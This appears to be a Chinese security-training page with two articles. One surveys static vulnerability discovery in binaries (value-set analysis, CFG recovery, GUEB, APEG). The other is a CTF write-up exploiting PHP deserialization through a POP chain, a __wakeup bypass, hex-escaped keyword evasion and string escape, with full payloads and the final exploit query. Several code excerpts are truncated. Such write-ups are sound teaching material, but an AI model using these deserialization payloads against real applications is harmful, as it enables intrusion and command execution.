漏洞挖掘的艺术-面向二进制的静态漏洞挖掘
亲爱的,关注我吧
8/31
文章共计3165个词
今天的内容有一些图,流量用户注意哦
和我一起阅读吧
0
本文是本系列的第二篇,将对面向二进制程序的静态漏洞挖掘技术进行介绍与分析。
面向二进制程序的静态漏洞的挖掘技术由于缺少源代码中的结构化信息,面临着值集分析(vaule-set analysis,VSA)与控制流恢复不精确的问题,但是二进制程序相对于源码而言更容易获得,所以这方面的研究工作一直都有新的研究动态,并且会在第2部分介绍目前流程的两种技术。在进一步分析之前,我们首先来具体解释前文提出的两个问题。
1
1.1
值集分析是一种结合数值分析和指针分析的静态分析算法。VSA是一种基于抽象解释的、流敏感、上下文敏感、支持过程间分析的方法。VSA首先建立抽象内存模型,恢复可执行程序中的变量并用抽象地址表示,然后对每条指令静态计算抽象地址可能包含的值的集合。
典型的值集分析算法的伪码表示如下
上图的集合W被称为word-list,其操作包括add,removeNext,分别用于添加和移除项。Word-list按照拓扑顺序进行排序,初始化时包含着基本块的入口点,用于指示从此处开始正向分析。while循环的每次迭代里,Analysis函数都会在第6行被调用来分析选中的基本块。Analysis会基于输入状态产生大量的输出状态,那些变化的输出状态会被添加到word-list中。当在同一基本块上有两个输入状态时,VSA将在第11行将两个输入状态合并为新的输入状态。合并操作将合并抽象状态中每个变量的值集。变量的合并运算方程式如下所示
当程序读写内存时,根据目的地址的值集和将要读写的内存地址的长度,我们可以检测出它是否超过了对应变量的空间大小。如果超过,则可以作为一个潜在的漏洞上报。然而,由于VSA获得的值集是近似的,并不精确,所以可能会导致较高的误报率。
这里有篇19年的硕士论文《二进制程序Use-After-Free漏洞挖掘技术研究》,里面介绍了基于值集分析来挖掘UAF,感兴趣的可以看看。
另外,这篇论文《DEEPVSA: Facilitating Value-set Analysis with Deep Learning for Postmortem Program Analysis》发表于USENIX Security 2019(信息安全领域四大顶会之一),介绍通过深度学习来辅助值集分析的研究。
1.2
控制流恢复不精确指的是静态分析不需要执行程序,只通过对二进制文件的结构和指令操作码进行分析,静态分析重视全局程序分析,因而有很高的代码覆盖率,但由于无法解决间接跳转的问题,导致无法获取完整的控制流信息。
我们来看看控制流图的静态恢复。
1.2.1
对二进制代码进行控制流分析,首先要完成对二进制代码的静态反汇编。根据区分代码和数据方式的不同,可以将静态反汇编策略分为:线性扫描反汇编、递归反汇编和启发式反汇编三种。目前应用最广的静态反汇编策略是基于程序静态控制流程的递归策略,IDA使用的就是递归下降的算法。由于这不是本文重点,就不展开了。
1.2.2
接下来就是基本块的划分
基本块是程序中一组顺序执行的语句序列,其中只有一个入口语句和一个出口语句。基本块是具有原子性的一组连续语句序列,控制从第一条语句流入,从最后一条语句流出,中途没有停止或分支,意味着当程序跳转至某基本块时,该基本块中的所有指令都将被执行到[9]。因此,覆盖执行了该基本块就等同于覆盖了基本块所有指令。以基本块为单位对反汇编效果
进行分析,相比于指令级粒度的分析更加高效。
基本块入口定义:
a)代码片段标签(_start 和_main 等是出现在代码段前的标
志)的下一条指令;
b)CALL 指令在指令顺序流的下一条指令;
c)跳转语句在指令顺序流的下一条指令。
基本块出口定义:
a)代码片段的最后一条指令;
b)CALL 指令;
c)跳转指令;
d)返回指令。
一般采用线性扫描指令的方法实现基本块的划分,如下所示
完成基本块划分之后,需要构建基本块之间的控制流关系
1.2.3
最后一步就是CFG控制流分析
如果在一个有序代码中,基本块 B2 跟在 B1 后,那么产生一个由 B2 指向 B1 的有向边。在对目标二进制程序完成基本块划分后,需要对基本块间的控制流转向进行分析,完成控制流的绘制,伪码如下
input:基本块列表 block
output:CFG
for i=1 to n do
x=block[i]_lastinstr
if x is a CTI then
建立一条由 block[i]到 x 跳转的 target 所在的 block[j]的有向边
else if x not a CTI then
建立由 block[i]到 block[i+1]的边
end for
return CFG
2
当前,二进制静态漏洞挖掘技术主要包括基于模式匹配和基于补丁比对的技术。
2.1什么是模式匹配?
在计算机科学中,模式匹配是检查给定的标记序列是否存在某些模式的组成部分的行为。与模式识别相反,匹配通常必须精确:“匹配或不匹配。”图案通常具有序列或树形结构的形式。模式匹配的用途包括输出令牌序列中模式的位置,输出匹配模式的某些组成部分以及将匹配模式替换为其他某些令牌序列。
针对二进制程序分析时,一般不会单独应用模式匹配技术,比如会和VSA相结合。以GUEB为例,其提出了二进制程序中UAF漏洞模式,并基于此模式挖掘出了ProFTPD程序中的漏洞。具体而言,首先抽象出二进制函数中的内存模型,然后采用VSA分析技术追踪堆分配和释放指令相关的操作变量,并基于此建立UAF模式。
全文是以一个例子进行驱动的,源码如下
这里注意,这里虽然给出了代码,但是文中的工作都是从二进制层面展开的,给出源码是为了方便说明。
首先抽象出内存模型
我们假设堆栈中的地址表示为相对于基址寄存器EBP的偏移量。由于过程间分析是通过过程内联实现的,因此每个堆栈元素都由(EBP0,偏移量)表示,其中EBP0是EBP的初始值。例如,p_index由(EBP0,−24)表示,p_global_save由(EBP0,−36)表示。全局变量具有由标识符表示的常量地址,此处为变量名(例如pglobal)。对于堆,我们将HE定义为所有可能的堆元素的集合。HE的元素是(基址,大小),其中base是分配识别符,size是分配大小。这样的一对也称为一个chunk.PC是所有程序指针的集合。我们定义了HA和HF,这两个函数分别关联每个点上所有当前分配或者未分配的集合
接着进行VSA,结果如下
GUEB的最后一步,即从二进制层面提取出UAF漏洞模式的子图,如下所示
此子图对于研究UAF是否可利用以及如何利用非常有用:例如,在我们的示例中,在第33行释放和取消引用时是否发生了新的malloc。
2.2
补丁指的是软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。
基于补丁对比的漏洞挖掘, 是指通过比较分析原始程序与漏洞修复后的更新程序的差异, 依据已知漏洞对应的软件缺陷位置寻找新漏洞的一种漏洞挖掘方法.补丁发布与部署之间存在较长的时间窗口, 因此, 通过补丁漏洞挖掘迅速提取漏洞特征, 对于软件运行安全检测和防护具有重要意义.目前, 软件自身的复杂性导致简单地进行指令对比难以快速逆向恢复漏洞细节并理解漏洞机理.与漏洞不相关的补丁修改造成相当程度的干扰, 补丁漏洞挖掘仍然需要软件基础理论的支撑.为此, 研究人员提出了多种基于图比较算法发现程序差异的基础分析工具, 如IDACompare、EBDS、BinDiff等.补丁漏洞挖掘的代表性工作是Brumley团
APEG核心思路是基于以下的假设条件,即补丁程序中增加了对触发原程序崩溃的过滤条件。因此,只要能够找到补丁程序中添加过滤条件的位置,同时构造 不满足过滤条件的“违规”输入,即可认为是原始程序的一个可利用的输入候选项。
该工作主要分为三个步骤:首先,利用二进制差异比较工具(例如 BinDiff 与 EBDS 等)找到补丁存在的位置,即补丁程序的检测点;
其次,找出不满足补丁程序检测点的输入数据作为原始程序的利用候选项;
最后,利用污点传播等监控方法筛选所有能够对原始程序造成溢出或者控制流劫持等崩溃发生的有效利用。
根据对微软所发布的多个补丁程序的实验结果表明,该方法具有较强的可靠性和实用性。
APEG 是对漏洞利用自动化构建的首次尝试,虽然核心思想较为简单,但由于其具有很强的可操作性,因此也得到了其他研究人员的普遍认可。
3 参考
1.http://blog.amossys.fr/intro-to-use-after-free-detection.html
2.https://www.bookstack.cn/read/CTF-All-In-One/160851
3.https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8805076
4.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=7401
5.http://jifeng-xuan.com/page/paper/jos_19.pdf
6.《软件漏洞自动利用研究进展》
7.https://www.slideserve.com/oriel/automatic-patch-based-exploit-generation-is-possible-techniques-and-implications-powerpoint-ppt-presentation
8.http://www.jos.org.cn/html/2018/1/5320.htm
9.《从自动化到智能化:软件漏洞挖掘技术进展》
4 实验推荐--https://sourl.cn/ggGUiS
栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。
5 相关阅读--https://www.yijinglab.com/html/news/news.html?newsId=NEWS-6f7-4181-4c0e-a18d-9b186f2524b6
细说强网杯Web辅助
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
文章共计1908个词
包括三段长代码
今天的内容无图,流量不预警
和我一起阅读吧
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
1 写在前面
这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程
2 题目源码
index.php
获取我们传入的username和password,并将其序列化储存
... if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s
common.php
这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方
<?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){
play.php
在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作
... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); ...
class.php
这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag
<?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ $this->admin = 1;
3 涉及考点
● POP链的构造
● __wakeup的绕过
● 关键字“name”检测绕过
● 反序列化字符串逃逸
4 题目出现的魔术方法
● __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
● __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
● wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
● invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
● __toString():用于一个类被当成字符串时应怎样回应
5 POP链
POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来
6 POP链的构造
这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。
我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:
<?php class test{ function __toString(){ echo "__toString()"; return ""; } } $a = new test(); echo $a; //输出:__toString()
在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:
<?php class test{ function __toString(){ echo "__toString()"; return ""; } } $a = new test(); stristr($a,'name'); //输出__toString()
所以整个POP链已经构成了
topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')
即
<?php class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } } class jungle{ protected $name = ""; } $a = new topsolo
在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s
7 关键字“name”检测绕过
··· function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ···
这里使用十六进制绕过\6e\61\6d\65,并将s改为S
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
8 字符串逃逸
访问index.php,传入数值,得到序列化内容
O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}
可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来
··· function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } ···
在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
在password中补上被吃掉的pass部分,构造password的提交内容
password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
最后提交
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%
然后访问play.php即可得到flag
9 实验推荐--https://sourl.cn/8u7Pyg
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

